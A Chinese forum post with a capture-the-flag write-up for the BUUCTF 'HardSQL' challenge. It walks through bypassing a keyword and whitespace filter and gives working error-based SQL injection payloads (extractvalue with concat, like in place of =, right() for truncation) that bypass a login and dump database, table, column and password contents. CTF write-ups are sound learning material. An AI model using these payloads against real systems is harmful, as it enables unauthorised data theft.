【BUUCTF】HardSQL

打印 上一主题 下一主题

主题 883|帖子 883|积分 2649

【BUUCTF】HardSQL

题目泉源

收录于:BUUCTF  极客大挑战 2019
题目描述

一道纯粹的SQL注入题

尝试进行注入,发现对以下字符进行了过滤:
  1. = %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and
复制代码
且过滤方式不区分巨细写,检测到以上字符就die()
题解

先找注入点,由于空格被过滤,与空格起同样作用的字符也被过滤,因此我们使用(和)将库名、表名、字段名包裹起来,就不需要使用空格了。
exp 如下:
  1. ?username=-1'or(1)%23&password=1
复制代码

成功登录。
由于过滤了union,我们使用报错注入的方式进行尝试。另外,由于=被过滤,我们可以使用like来代替=。payload如下:
  1. //爆库名
  2. 1'or(extractvalue(1,concat(0x7e,(database()))))%23
  3. //爆表名
  4. 1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
  5. //爆字段名
  6. 1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
  7. //爆字段值
  8. 1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23
复制代码
在爆字段值的时间我们看到,flag只显示了一部分

由于substr()函数被过滤,我们使用left()或right()来进行字符串的截取,payload:
  1. 1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23
复制代码
其中30是截取右边字符的个数,可以改为其他值,只要能拿到完整flag即可。

总结

绕过空格

使用以下字符替代空格,可以起到雷同效果
  1. %09 %0a %0b %0c %0d /**/
复制代码
或使用(和)包裹库名、表名、字段名,从而避免空格的使用,如:
  1. select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())
复制代码
绕过 =

用like代替=
字符串显示不全

使用以下三个函数对字符串进行截取:
  1. substr()   left()   right()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

老婆出轨

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表